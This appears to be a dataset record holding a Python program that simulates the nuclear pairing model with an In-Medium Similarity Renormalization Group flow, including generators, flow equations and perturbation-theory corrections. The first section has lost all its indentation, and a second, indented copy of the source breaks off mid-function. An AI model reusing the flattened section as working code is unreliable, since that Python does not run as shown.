+ GammaGamma[idx2B[(j,i)], idx2B[(l,k)]]
)
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
#-----------------------------------------------------------------------------------
# derivatives
#-----------------------------------------------------------------------------------
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data["dim1B"]
holes = user_data["holes"]
particles = user_data["particles"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
basph2B = user_data["basph2B"]
idxph2B = user_data["idxph2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
#############################
# zero-body flow equation
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]]
#############################
# one-body flow equation
df = np.zeros_like(f)
# 1B - 1B
df += commutator(eta1B, f)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p,q] += (
eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]]
- eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]]
- f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]]
+ f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]]
)
# 2B - 2B
# n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p,q] += 0.5*(
etaGamma[idx2B[(i,p)], idx2B[(i,q)]]
+ transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]]
)
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p,q] += 0.5*(
etaGamma[idx2B[(r,p)], idx2B[(r,q)]]
+ transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]]
)
#############################
# two-body flow equation
dGamma = np.zeros_like(Gamma)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[(p,q)],idx2B[(r,s)]] += (
eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]]
+ eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]]
- eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]]
- eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]]
- f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]]
- f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]]
+ f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]]
+ f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]]
)
# 2B - 2B - particle and hole ladders
# eta2B.occB.Gamma
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
# 2B - 2B - particle-hole chain
# transform matrices to particle-hole representation and calculate
# eta2B_ph.occA_ph.Gamma_ph
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
# transform back to standard representation
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B)
# commutator / antisymmetrization
work = np.zeros_like(etaGamma)
for i1, (i,j) in enumerate(bas2B):
for i2, (k,l) in enumerate(bas2B):
work[i1, i2] -= (
etaGamma[i1, i2]
- etaGamma[idx2B[(j,i)], i2]
- etaGamma[i1, idx2B[(l,k)]]
+ etaGamma[idx2B[(j,i)], idx2B[(l,k)]]
)
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
#-----------------------------------------------------------------------------------
# derivative wrapper
#-----------------------------------------------------------------------------------
def get_operator_from_y(y, dim1B, dim2B):
# reshape the solution vector into 0B, 1B, 2B pieces
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B))
ptr += dim1B*dim1B
two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B))
return zero_body,one_body,two_body
def derivative_wrapper(t, y, user_data):
dim1B = user_data["dim1B"]
dim2B = dim1B*dim1B
holes = user_data["holes"]
particles = user_data["particles"]
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
basph2B = user_data["basph2B"]
idx2B = user_data["idx2B"]
idxph2B = user_data["idxph2B"]
occA_2B = user_data["occA_2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
calc_eta = user_data["calc_eta"]
calc_rhs = user_data["calc_rhs"]
# extract operator pieces from solution vector
E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)
# calculate the generator
eta1B, eta2B = calc_eta(f, Gamma, user_data)
# calculate the right-hand side
dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)
# convert derivatives into linear array
dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))
# share data
user_data["dE"] = dE
user_data["eta_norm"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro')
return dy
#-----------------------------------------------------------------------------------
# pairing Hamiltonian
#-----------------------------------------------------------------------------------
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
dim = len(bas1B)
H1B = np.zeros((dim,dim))
for i in bas1B:
H1B[i,i] = delta*np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
# spin up states have even indices, spin down the next odd index
for (i, j) in bas2B:
if (i % 2 == 0 and j == i+1):
for (k, l) in bas2B:
if (k % 2 == 0 and l == k+1):
H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g
H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g
H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g
H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g
return H1B, H2B
#-----------------------------------------------------------------------------------
# normal-ordered pairing Hamiltonian
#-----------------------------------------------------------------------------------
def normal_order(H1B, H2B, user_data):
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
particles = user_data["particles"]
holes = user_data["holes"]
# 0B part
E = 0.0
for i in holes:
E += H1B[i,i]
for i in holes:
for j in holes:
E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]]
# 1B part
f = H1B
for i in bas1B:
for j in bas1B:
for h in holes:
f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]]
# 2B part
Gamma = H2B
return E, f, Gamma
#-----------------------------------------------------------------------------------
# Perturbation theory
#-----------------------------------------------------------------------------------
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i,i] + f[j,j] - f[a,a] - f[b,b]
me = Gamma[idx2B[(a,b)],idx2B[(i,j)]]
DE2 += 0.25*me*me/denom
return DE2
def calc_mbpt3(f, Gamma, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# DE3 = 0.0
DE3pp = 0.0
DE3hh = 0.0
DE3ph = 0.0
for a in particles:
for b in particles:
for c in particles:
for d in particles:
for i in holes:
for j in holes:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d])
me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]*
Gamma[idx2B[(c,d)],idx2B[(i,j)]])
DE3pp += 0.125*me/denom
for i in holes:
for j in holes:
for k in holes:
for l in holes:
for a in particles:
for b in particles:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b])
me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]*
Gamma[idx2B[(i,j)],idx2B[(a,b)]])
DE3hh += 0.125*me/denom
for i in holes:
for j in holes:
for k in holes:
for a in particles:
for b in particles:
for c in particles:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c])
me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]*
Gamma[idx2B[(a,c)],idx2B[(k,j)]])
DE3ph -= me/denom
return DE3pp+DE3hh+DE3ph
#------------------------------------------------------------------------------
# Main program
#------------------------------------------------------------------------------
def main():
# grab delta and g from the command line
delta = float(argv[1])
g = float(argv[2])
particles = 4
# setup shared data
dim1B = 8
# this defines the reference state
# 1st state
holes = [0,1,2,3]
particles = [4,5,6,7]
# 2nd state
# holes = [0,1,4,5]
# particles = [2,3,6,7]
# 3rd state
# holes = [0,1,6,7]
# particles = [2,3,4,5]
# basis definitions
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
# occupation number matrices
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
# store shared data in a dictionary, so we can avoid passing the basis
# lookups etc. as separate parameters all the time
user_data = {
"dim1B": dim1B,
"holes": holes,
"particles": particles,
"bas1B": bas1B,
"bas2B": bas2B,
"basph2B": basph2B,
"idx2B": idx2B,
"idxph2B": idxph2B,
"occ1B": occ1B,
"occA_2B": occA_2B,
"occB_2B": occB_2B,
"occC_2B": occC_2B,
"occphA_2B": occphA_2B,
"eta_norm": 0.0, # variables for sharing data between ODE solver
"dE": 0.0, # and main routine
"calc_eta": eta_white_atan, # specify the generator (function object)
"calc_rhs": flow_imsrg2 # specify the right-hand side and truncation
}
# set up initial Hamiltonian
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
# reshape Hamiltonian into a linear array (initial ODE vector)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
# integrate flow equations
solver = ode(derivative_wrapper,jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.)
sfinal = 50
ds = 0.1
print("%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s"%(
"s", "E" , "DE(2)", "DE(3)", "E+DE", "dE/ds",
"||eta||", "||fod||", "||Gammaod||"))
print("-" * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B*dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print("%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f"%(
solver.t, E , DE2, DE3, E+DE2+DE3, user_data["dE"], user_data["eta_norm"], norm_fod, norm_Gammaod))
if abs(DE2/E) < 10e-8: break
return
#------------------------------------------------------------------------------
# make executable
#------------------------------------------------------------------------------
if __name__ == "__main__":
main()
|
[
"#!/usr/bin/env python\n\n#------------------------------------------------------------------------------\n# imsrg_pairing.py\n#\n# author: H. Hergert \n# version: 1.5.0\n# date: Dec 6, 2016\n# \n# tested with Python v2.7\n# \n# Solves the pairing model for four particles in a basis of four doubly \n# degenerate states by means of an In-Medium Similarity Renormalization \n# Group (IMSRG) flow.\n#\n#------------------------------------------------------------------------------\n\nimport numpy as np\nfrom numpy import array, dot, diag, reshape, transpose\nfrom scipy.linalg import eigvalsh\nfrom scipy.integrate import odeint, ode\n\nfrom sys import argv\n\n#-----------------------------------------------------------------------------------\n# basis and index functions\n#-----------------------------------------------------------------------------------\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n\n for i in holes:\n for a in particles:\n basis.append((i, a))\n\n for a in particles:\n for i in holes:\n basis.append((a, i))\n\n for a in particles:\n for b in particles:\n basis.append((a, b))\n\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n\n for i in holes:\n for a in particles:\n basis.append((i, a))\n\n for a in particles:\n for i in holes:\n basis.append((a, i))\n\n for a in particles:\n for b in particles:\n basis.append((a, b))\n\n return basis\n\n\n#\n# We use dictionaries for the reverse lookup of state indices\n#\ndef construct_index_2B(bas2B):\n index = { }\n for i, state in enumerate(bas2B):\n index[state] = i\n\n return index\n\n\n\n#-----------------------------------------------------------------------------------\n# transform matrices to particle-hole representation\n#-----------------------------------------------------------------------------------\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n\n for i1, (a,b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]]\n\n return Gamma_ph\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n\n for i1, (a,b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]]\n \n return Gamma\n\n#-----------------------------------------------------------------------------------\n# commutator of matrices\n#-----------------------------------------------------------------------------------\ndef commutator(a,b):\n return dot(a,b) - dot(b,a)\n\n#-----------------------------------------------------------------------------------\n# norms of off-diagonal Hamiltonian pieces\n#-----------------------------------------------------------------------------------\ndef calc_fod_norm(f, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n \n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a,i]**2 + f[i,a]**2\n\n return np.sqrt(norm)\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n norm = 0.0\n for a in particles: \n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2\n\n return np.sqrt(norm)\n\n#-----------------------------------------------------------------------------------\n# occupation number matrices\n#-----------------------------------------------------------------------------------\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n\n for i in holes:\n occ[i] = 1.\n\n return occ\n\n# diagonal matrix: n_a - n_b\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n\n return occ\n\n\n# diagonal matrix: 1 - n_a - n_b\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = 1. - occ1B[i] - occ1B[j]\n\n return occ\n\n# diagonal matrix: n_a * n_b\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n\n return occ\n\n#-----------------------------------------------------------------------------------\n# generators\n#-----------------------------------------------------------------------------------\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n # (1-n_a)n_i - n_a(1-n_i) = n_i - n_a\n eta1B[a, i] = f[a,i]\n eta1B[i, a] = -f[a,i]\n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = np.sign(dE)*f[a,i]\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]]\n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = f[a,i]/denom\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]]\n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i]\n val = f[a,i]/denom\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n )\n\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = 0.5 * np.arctan(2 * f[a,i]/denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]] \n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom)\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n\n dim1B = user_data[\"dim1B\"]\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas2B = user_data[\"bas2B\"]\n basph2B = user_data[\"basph2B\"]\n idx2B = user_data[\"idx2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n\n\n # split Hamiltonian in diagonal and off-diagonal parts\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n\n for a in particles:\n for i in holes:\n fod[a, i] = f[a,i]\n fod[i, a] = f[i,a]\n fd = f - fod\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]]\n Gammad = Gamma - Gammaod\n\n\n ############################# \n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n # 1B - 1B\n eta1B += commutator(fd, fod)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p,q] += (\n fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]] \n - fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]] \n - fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]] \n + fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]]\n )\n\n # 2B - 2B\n # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p,q] += 0.5*(\n GammaGamma[idx2B[(i,p)], idx2B[(i,q)]] \n - transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]]\n )\n\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p,q] += 0.5*(\n GammaGamma[idx2B[(r,p)], idx2B[(r,q)]] \n + transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]] \n )\n\n\n ############################# \n # two-body flow equation \n eta2B = np.zeros_like(Gamma)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[(p,q)],idx2B[(r,s)]] += (\n fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]] \n + fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]] \n - fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]] \n - fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]]\n - fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]] \n - fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]] \n + fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]] \n + fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]]\n )\n\n \n # 2B - 2B - particle and hole ladders\n # Gammad.occB.Gammaod\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n\n # 2B - 2B - particle-hole chain\n \n # transform matrices to particle-hole representation and calculate \n # Gammad_ph.occA_ph.Gammaod_ph\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n\n # transform back to standard representation\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B)\n\n # commutator / antisymmetrization\n work = np.zeros_like(GammaGamma)\n for i1, (i,j) in enumerate(bas2B):\n for i2, (k,l) in enumerate(bas2B):\n work[i1, i2] -= (\n GammaGamma[i1, i2] \n - GammaGamma[idx2B[(j,i)], i2] \n - GammaGamma[i1, idx2B[(l,k)]] \n + GammaGamma[idx2B[(j,i)], idx2B[(l,k)]]\n )\n GammaGamma = work\n\n eta2B += GammaGamma\n\n\n return eta1B, eta2B\n\n\n#-----------------------------------------------------------------------------------\n# derivatives \n#-----------------------------------------------------------------------------------\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n\n dim1B = user_data[\"dim1B\"]\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n basph2B = user_data[\"basph2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n\n ############################# \n # zero-body flow equation\n dE = 0.0\n\n for i in holes:\n for a in particles:\n dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a]\n\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n\n ############################# \n # one-body flow equation \n df = np.zeros_like(f)\n\n # 1B - 1B\n df += commutator(eta1B, f)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p,q] += (\n eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]] \n - eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]] \n - f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]] \n + f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]]\n )\n\n # 2B - 2B\n # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p,q] += 0.5*(\n etaGamma[idx2B[(i,p)], idx2B[(i,q)]] \n + transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]]\n )\n\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p,q] += 0.5*(\n etaGamma[idx2B[(r,p)], idx2B[(r,q)]] \n + transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]] \n )\n\n\n ############################# \n # two-body flow equation \n dGamma = np.zeros_like(Gamma)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[(p,q)],idx2B[(r,s)]] += (\n eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]] \n + eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]] \n - eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]] \n - eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]]\n - f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]] \n - f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]] \n + f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]] \n + f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]]\n )\n\n \n # 2B - 2B - particle and hole ladders\n # eta2B.occB.Gamma\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n\n # 2B - 2B - particle-hole chain\n \n # transform matrices to particle-hole representation and calculate \n # 